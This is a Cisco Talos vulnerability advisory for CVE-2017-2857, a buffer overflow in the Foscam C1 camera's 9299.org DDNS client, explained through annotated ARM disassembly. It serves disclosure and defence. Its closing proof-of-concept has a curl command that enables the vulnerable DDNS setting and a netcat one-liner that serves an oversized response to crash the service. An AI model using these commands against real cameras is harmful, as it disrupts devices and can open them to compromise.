Talos Vulnerability Report

TALOS-2017-0360

Foscam IP Video Camera webService 9299.org DDNS Client Code Execution Vulnerability

November 13, 2017
CVE Number

CVE-2017-2857

Summary

An exploitable buffer overflow vulnerability exists in the DDNS client used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. On devices with DDNS enabled, an attacker who is able to intercept HTTP connections will be able to fully compromise the device by creating a rogue HTTP server.

Tested Versions

Foscam Indoor IP Camera C1 Series
System Firmware Version: 1.9.3.18
Application Firmware Version: 2.52.2.43
Plug-In Version: 3.3.0.26

Product URLs

http://www.foscam.com/downloads/index.html

CVSSv3 Score

8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.

The device can be configured to use a DDNS client to associate to a hostname the public IP address of the network hosting the camera. Clients have to be configured via the web interface by choosing between one of the supported DDNS providers together with a hostname, username and password. When the "webService" process starts it creates several threads, one of them is the "DDNS update thread", function ThreadEntry_DdnsUpdate. At [1] r0 contains the seconds elapsed since the last loop execution. Every 10 seconds [2], the function retrieves the public IP address [3] and if it detects a difference the new IP is updated [4]. The function getMyGloableIp takes a pointer to the global structure at 0xa8074 as parameter [5]. This structure is located in the .bss segment and has a size of 140 bytes.

...                        ThreadEntry_DdnsUpdate
...
.text:00051BC4 09 00 50 E3      CMP     R0, #9                ; [1]
.text:00051BC8 00 00 A0 D3      MOVLE   R0, #0
.text:00051BCC 01 00 A0 C3      MOVGT   R0, #1
.text:00051BD0 00 00 50 E3      CMP     R0, #0                ; [2]
.text:00051BD4 12 00 00 0A      BEQ     loc_51C24
.text:00051BD8 04 00 A0 E1      MOV     R0, R4                ; [5]
.text:00051BDC 8B FF FF EB      BL      getMyGloableIp        ; [3]
.text:00051BE0 00 00 50 E3      CMP     R0, #0
.text:00051BE4 0C 00 00 0A      BEQ     loc_51C1C
...
.text:00051C5C 04 00 A0 E1      MOV     R0, R4
.text:00051C60 CB FE FF EB      BL      sub_51794             ; [4]

The function getMyGloableIp, checks if the configured hostname is not empty [6], then it retrieves the "ddnsServer" which is currently set [7]: this is a number between 0 and 5. 0 means that no DDNS is set [8], and retrieving the public IP address with DDNS number 3 is not supported [9]. Using this index, another function is called [10] that returns the "ddnsServer" instance (using a singleton pattern). The function responsible for retrieving the public IP address is then called [11], passing as arguments the "ddnsServer" instance and a buffer for storing the IP address [12]. This buffer starts at offset 0x58 in the global structure at 0xa8074. Note that for every provider a different function is used to retrieve the public IP address.

.text:00051A10             getMyGloableIp
...
.text:00051A20 00 40 A0 E1      MOV     R4, R0
...
.text:00051A28 08 30 90 E5      LDR     R3, [R0,#8]
.text:00051A2C 00 30 D3 E5      LDRB    R3, [R3]
.text:00051A30 00 00 53 E3      CMP     R3, #0               ; [6]
.text:00051A34 34 00 00 1A      BNE     loc_51B0C
...
.text:00051A44 30 00 00 EA      B       loc_51B0C
.text:00051A48
.text:00051A48             loc_51A48
.text:00051A48 30 10 94 E5      LDR     R1, [R4,#0x30]
.text:00051A4C 34 20 94 E5      LDR     R2, [R4,#0x34]
.text:00051A50 C8 30 9F E5      LDR     R3, =sub_51D20
.text:00051A54 BF F0 FF EB      BL      sub_4DD58            ; [10]
.text:00051A58 58 50 84 E2      ADD     R5, R4, #0x58
.text:00051A5C 05 10 A0 E1      MOV     R1, R5               ; [12]
.text:00051A60 00 30 90 E5      LDR     R3, [R0]
.text:00051A64 00 30 93 E5      LDR     R3, [R3]
.text:00051A68 33 FF 2F E1      BLX     R3                   ; [11]
...
.text:00051B00             loc_51B00
.text:00051B00 00 00 A0 E3      MOV     R0, #0
.text:00051B04 14 D0 8D E2      ADD     SP, SP, #0x14
.text:00051B08 30 80 BD E8      LDMFD   SP!, {R4,R5,PC}
.text:00051B0C
.text:00051B0C             loc_51B0C
.text:00051B0C 0C 00 94 E5      LDR     R0, [R4,#0xC]        ; [7]
.text:00051B10 03 00 50 E3      CMP     R0, #3               ; [9]
.text:00051B14 00 00 50 13      CMPNE   R0, #0               ; [8]
.text:00051B18 F8 FF FF 0A      BEQ     loc_51B00
.text:00051B1C C9 FF FF EA      B       loc_51A48

When the DDNS provider in use is "9299.org" (DDNS number 5), the function sub_4D3B0 is called. This function calls sub_53808 [13] to establish a connection with "ip.9299.org" on port 80. An HTTP request is built [14] and sent to the socket by calling CDdnsClient__readyToSend [15]. The response from the remote server is then retrieved using CDdnsClient__readyToRead [16], which will read at most 1024 bytes [17].

.text:0004D3B0             sub_4D3B0
.text:0004D3B0
.text:0004D3B0 F0 40 2D E9      STMFD   SP!, {R4-R7,LR}
.text:0004D3B4 C1 DE 4D E2      SUB     SP, SP, #0xC10
.text:0004D3B8 0C D0 4D E2      SUB     SP, SP, #0xC
.text:0004D3BC 00 40 A0 E1      MOV     R4, R0
.text:0004D3C0 C1 0E 8D E2      ADD     R0, SP, #0xC30+var_20
.text:0004D3C4 04 00 80 E2      ADD     R0, R0, #4
.text:0004D3C8 01 50 A0 E1      MOV     R5, R1
...
.text:0004D3EC 0C 12 9F E5      LDR     R1, =aIp_9299_org       ; "ip.9299.org"
.text:0004D3F0 DD 17 FF EB      BL      _ZNSs6assignEPKc
.text:0004D3F4 00 30 94 E5      LDR     R3, [R4]
.text:0004D3F8 03 1B 8D E2      ADD     R1, SP, #0xC30+var_30
.text:0004D3FC 10 C0 93 E5      LDR     R12, [R3,#0x10]
...
.text:0004D410 3C FF 2F E1      BLX     R12                     ; [13]
...
.text:0004D438             loc_4D438
.text:0004D438 C1 0E 8D E2      ADD     R0, SP, #0xC30+var_20
.text:0004D43C 04 00 80 E2      ADD     R0, R0, #4
.text:0004D440 C0 11 9F E5      LDR     R1, =aGetHttp1_1        ; "GET / HTTP/1.1\r\n"
.text:0004D444 54 16 FF EB      BL      _ZNSspLEPKc
.text:0004D448 C1 0E 8D E2      ADD     R0, SP, #0xC30+var_20
.text:0004D44C 04 00 80 E2      ADD     R0, R0, #4
.text:0004D450 B4 11 9F E5      LDR     R1, =aAccept            ; "Accept: */*\r\n"
.text:0004D454 50 16 FF EB      BL      _ZNSspLEPKc
.text:0004D458 C1 0E 8D E2      ADD     R0, SP, #0xC30+var_20
.text:0004D45C 04 00 80 E2      ADD     R0, R0, #4
.text:0004D460 A8 11 9F E5      LDR     R1, =aUserAgentFosca    ; "User-Agent: Foscam ipcam\r\n"
.text:0004D464 4C 16 FF EB      BL      _ZNSspLEPKc
.text:0004D468 C1 0E 8D E2      ADD     R0, SP, #0xC30+var_20
.text:0004D46C 04 00 80 E2      ADD     R0, R0, #4
.text:0004D470 9C 11 9F E5      LDR     R1, =aHostIp_9299_or    ; "Host: ip.9299.org\r\n"
.text:0004D474 48 16 FF EB      BL      _ZNSspLEPKc
.text:0004D478 C1 0E 8D E2      ADD     R0, SP, #0xC30+var_20
.text:0004D47C 04 00 80 E2      ADD     R0, R0, #4
.text:0004D480 90 11 9F E5      LDR     R1, =(asc_8D92C+2)      ; "\r\n"
.text:0004D484 44 16 FF EB      BL      _ZNSspLEPKc
.text:0004D488 0C 00 8D E2      ADD     R0, SP, #0xC30+dest
.text:0004D48C 14 1C 9D E5      LDR     R1, [SP,#0xC30+src]
.text:0004D490 BD 18 FF EB      BL      strcpy                  ; [14]
.text:0004D494 00 30 94 E5      LDR     R3, [R4]
.text:0004D498 C1 0E 8D E2      ADD     R0, SP, #0xC30+var_20
.text:0004D49C 04 00 80 E2      ADD     R0, R0, #4
.text:0004D4A0 14 70 93 E5      LDR     R7, [R3,#0x14]
.text:0004D4A4 10 6C 9D E5      LDR     R6, [SP,#0xC30+var_20]
.text:0004D4A8 22 17 FF EB      BL      _ZNKSs6lengthEv
.text:0004D4AC 00 30 A0 E1      MOV     R3, R0
.text:0004D4B0 06 10 A0 E1      MOV     R1, R6
.text:0004D4B4 04 00 A0 E1      MOV     R0, R4
.text:0004D4B8 0C 20 8D E2      ADD     R2, SP, #0xC30+dest
.text:0004D4BC 37 FF 2F E1      BLX     R7                      ; [15]
...
.text:0004D4E0 01 3B A0 E3      MOV     R3, #0x400              ; [17]
.text:0004D4E4 3C FF 2F E1      BLX     R12                     ; [16]

The function then ensures that the string "200 OK" is present anywhere in the response [18], then finds "\r\n\r\n" [19] and ensures that after it the string "Current IP Address:" exists [20]. After this string the function expects to find the IP address. From this point every character is copied in the buffer passed to the function [21] using a loop, which will only exit when a carriage return [22] is found. Since the size of the destination buffer is not taken into account, a malicious HTTP server could exploit this vulnerability to write out of bounds.

.text:0004D4E8 00 00 50 E3      CMP     R0, #0
.text:0004D4EC 24 00 00 DA      BLE     loc_4D584
.text:0004D4F0 02 6B 8D E2      ADD     R6, SP, #0xC30+var_430
.text:0004D4F4 0C 60 86 E2      ADD     R6, R6, #0xC
.text:0004D4F8 06 00 A0 E1      MOV     R0, R6
.text:0004D4FC 18 11 9F E5      LDR     R1, =str.200OK
.text:0004D500 C9 17 FF EB      BL      strstr                 ; [18]
.text:0004D504 00 00 50 E3      CMP     R0, #0
.text:0004D508 09 00 00 1A      BNE     loc_4D534
...
.text:0004D534             loc_4D534
.text:0004D534 06 00 A0 E1      MOV     R0, R6
.text:0004D538 EC 10 9F E5      LDR     R1, =asc_8D92C         ; "\r\n\r\n"
.text:0004D53C BA 17 FF EB      BL      strstr                 ; [19]
.text:0004D540 00 00 50 E3      CMP     R0, #0
.text:0004D544 0E 00 00 0A      BEQ     loc_4D584
.text:0004D548 E0 10 9F E5      LDR     R1, =aCurrentIpAddre   ; "Current IP Address:</font>"
.text:0004D54C B6 17 FF EB      BL      strstr                 ; [20]
.text:0004D550 00 00 50 E3      CMP     R0, #0
.text:0004D554 01 00 00 1A      BNE     loc_4D560
.text:0004D558 09 00 00 EA      B       loc_4D584
.text:0004D55C
.text:0004D55C             loc_4D55C
.text:0004D55C 01 30 45 E5      STRB    R3, [R5,#-1]           ; [21]
.text:0004D560
.text:0004D560             loc_4D560
.text:0004D560 1A 30 D0 E5      LDRB    R3, [R0,#0x1A]
.text:0004D564 05 20 A0 E1      MOV     R2, R5
.text:0004D568 0D 00 53 E3      CMP     R3, #0xD               ; [22]
.text:0004D56C 01 50 85 E2      ADD     R5, R5, #1
.text:0004D570 01 00 80 E2      ADD     R0, R0, #1
.text:0004D574 F8 FF FF 1A      BNE     loc_4D55C
.text:0004D578 00 50 A0 E3      MOV     R5, #0
.text:0004D57C 00 50 C2 E5      STRB    R5, [R2]
.text:0004D580 03 00 00 EA      B       loc_4D594

Exploit Proof-of-Concept

Prerequisite for this attack is that the device is setup to use the DDNS number 5. For this, the following query can be used:

```
$ sUsr="admin"
$ sPwd=""
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}
&cmd=setDDNSConfig&isEnable=1&hostName=x&ddnsServer=5&user=x&password=x"
```

To trigger the vulnerability, an attacker needs to be able to intercept the device's HTTP requests and answer with a malicious payload. The following command will make the service crash.

```
$ sudo nc -l -p 80 <<< $( python2 -c 'print "200 OK\r\n\r\nCurrent IP Address:</font>"+"A"*900+"\r"' )
```

Timeline

2017-07-17 - Vendor Disclosure
2017-11-13 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.